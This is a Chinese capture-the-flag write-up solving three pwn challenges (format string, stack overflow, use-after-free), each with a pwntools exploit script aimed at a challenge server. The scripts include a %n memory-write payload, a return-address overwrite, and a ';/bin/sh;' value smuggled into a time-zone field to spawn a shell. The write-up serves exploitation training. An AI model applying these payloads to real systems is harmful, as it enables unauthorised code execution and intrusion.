pwn-二进制漏洞篇

1、格式化字符串漏洞

题目:实时数据监测
链接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4913&page=1
用IDA打开二进制文件,找到main()函数->locker()函数->imagemagic(&s)函数。
c0l6gK.png
c0lHv8.png
我们可以发现该函数中存在格式化字符串漏洞,只要key的值为35795746就会触发漏洞。

格式化字符串%n,它的功能是将%n之前打印出来的字符个数,赋值给一个变量。
编写脚本:

1
2
3
4
5
6
from pwn import *

p = remote("111.198.29.45", 55638)
payload = "%35795746x" + "%16$n\x00" + p32(0x0804a048)
p.sendline(payload)
p.interactive()

2、栈溢出漏洞

题目:forgot
链接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4703&page=1
这道题有两个关键点,main()函数中,(*(&v3 + –v14))()以及地址0x080486cc,只要(&v3 + –v14)的值为0x080486cc,就能输出flag。
c0GQMV.png
c0GnGn.png
编写脚本:

1
2
3
4
5
6
7
8
from pwn import *

p = remote('124.126.19.106','52617')

payload = 'A'*32+p32(0x080486CC)
p.sendlineafter('> ','whitehand')
p.sendlineafter('> ',payload)
p.interactive()

3、释放重引用(UAF)漏洞

题目:time_formatter
链接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4832&page=1
在case4的情况下,可以看到当ptr=“;/bin/sh;”时,才能获得shell。
c0JQfA.png
但是在case1中的sub_400CB5()函数,会对ptr的输入格式进行严重,只允许输入”%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# “之中的字符。
c0J7nK.png
ptr和timezero指向同一块堆,所以可以先分配内存给ptr,再释放,再分配内存给timezero,输入“;/bin/sh;”。
编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

io = remote("220.249.52.133","32088")
context.log_level = 'debug'

io.sendlineafter("> ","1")
io.sendlineafter("Format: ","A")
io.sendlineafter("> ","5")
io.sendlineafter("Are you sure you want to exit (y/N)? ",'N')
io.sendlineafter("> ","3")
io.sendlineafter("Time zone: ","';/bin/sh;'")
io.sendlineafter("> ","4")
io.interactive()